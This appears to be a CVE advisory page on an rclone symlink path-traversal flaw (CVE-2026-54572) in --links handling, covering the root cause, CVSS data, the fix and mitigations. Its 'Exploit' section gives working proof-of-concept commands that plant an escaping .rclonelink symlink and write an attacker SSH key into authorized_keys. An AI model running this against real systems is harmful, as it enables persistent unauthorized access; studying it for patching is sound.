rclone, Unvalidated Symlink Target, CVE-2026-54572 (High) -DC-Aug2026-1395

By /

Listen to this Post

Rclone is a widely adopted command-line tool designed for synchronizing files and directories across various cloud storage platforms, making it a critical component in data management workflows. The vulnerability under examination affects versions prior to 1.74.4 when utilizing the `-l/–links` flag, which enables symbolic link handling during synchronization operations. This flaw creates a significant security risk by allowing attackers to manipulate the symlink creation process and potentially bypass intended destination boundaries.
With -l/--links, rclone serializes symlinks as `.rclonelink` text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with `os.Symlink(, )` and performs NO validation of the target. The core flaw occurs during the reconstruction phase where these serialized symlinks are recreated on local destinations without performing any validation checks against the intended target paths.
If the source is attacker-controlled, the attacker sets the body to any absolute or `../` path, so rclone plants a symlink inside the destination that points anywhere on the victim’s filesystem. Because a sibling object named `.rclonelink` sorts before <name>/..., rclone creates the escaping symlink first and then writes a following object “inside” it; mkdirAll/OpenFile follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting ~/.ssh/authorized_keys, ~/.bashrc, or a crontab — i.e. code execution.
In backend/local/local.go, `Object.Update()` uses `symlinkData` as the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (mkdirAll() → file.MkdirAll, then file.OpenFile(..., O_CREATE)) follows existing symlink components with no O_NOFOLLOW, so a file written under the planted symlinked directory escapes the destination.
This vulnerability aligns with common security patterns identified in CWE-22 Path Traversal and manifests within the context of cloud synchronization tools. The issue demonstrates how seemingly innocuous file handling operations can create dangerous privilege escalation paths when proper input validation and boundary enforcement mechanisms are absent. From an ATT&CK framework perspective, this vulnerability maps to techniques involving privilege escalation through file system manipulation and could enable adversaries to establish persistent access or escalate existing privileges within affected systems.

DailyCVE Form

Platform: Rclone
Version: < 1.74.4
Vulnerability: Symlink validation bypass
Severity: High (7.5)
Date: 2026-07-14

Prediction: Patch 2026-07-15

Analytics

CVSS Score: 7.5 (High) · Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L

Affected Component: `backend/local/local.go`, `Object.Update()` function

Attack Vector: Network (attacker-controlled remote)

Privileges Required: None (victim must run rclone with --links)
User Interaction: Required (victim must sync from untrusted remote)

Scope: Changed (escaping symlink breaks destination confinement)

What Undercode Say

The vulnerability stems from the absence of target validation in `os.Symlink()` calls. The fix implemented in rclone version 1.74.4 addresses this issue by introducing proper validation mechanisms during symlink processing. The updated implementation now validates target paths against the intended destination boundaries, ensuring that symbolic links cannot escape their designated scope. This remediation approach follows established security principles of input validation and privilege separation, preventing attackers from crafting malicious symlinks that could cause unintended file system operations.

Exploit

Step 1 – Get the vulnerable binary:

curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip
unzip -j rclone-v1.74.3-linux-amd64.zip '/rclone' -d .

Step 2 – Create attacker-controlled remote (two objects):

mkdir -p evil/pwn dest victimhome/.ssh
printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink
printf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\n' > evil/pwn/authorized_keys
ls -l victimhome/.ssh empty before

Step 3 – Serve the malicious remote (models any untrusted remote):

cd evil && python3 -m http.server 38080 --bind 127.0.0.1

Step 4 – Victim action – back up the untrusted remote preserving symlinks:

./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v

Step 5 – Observe – file landed OUTSIDE ./dest:

ls -l dest/pwn dest/pwn -> .../victimhome/.ssh
cat victimhome/.ssh/authorized_keys ssh-ed25519 AAAA_ATTACKER_KEY pwned

`pwn.rclonelink` sorts before pwn/authorized_keys, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites ~/.ssh/authorized_keys, ~/.bashrc, or a crontab → code execution.

Protection

  • Upgrade to rclone version 1.74.4 or later
  • Avoid using the `-l/–links` flag when syncing from untrusted or unknown remotes
  • Validate symlink targets in custom scripts before allowing rclone to process them
  • Monitor file system for unexpected symlink creation outside intended destinations
  • Apply vendor-supplied patches for affected Linux distributions (Ubuntu, Debian, etc.)

Impact

An attacker who controls the contents of any remote a victim syncs with `-l/–links` gains arbitrary file write as the victim user, anywhere that user can write. Overwriting ~/.ssh/authorized_keys, shell rc files, or cron files yields remote code execution on the victim’s host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal). This behavior fundamentally violates the expected isolation boundaries of file operations and could enable attackers to overwrite critical system files, inject malicious code, or exfiltrate sensitive data.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top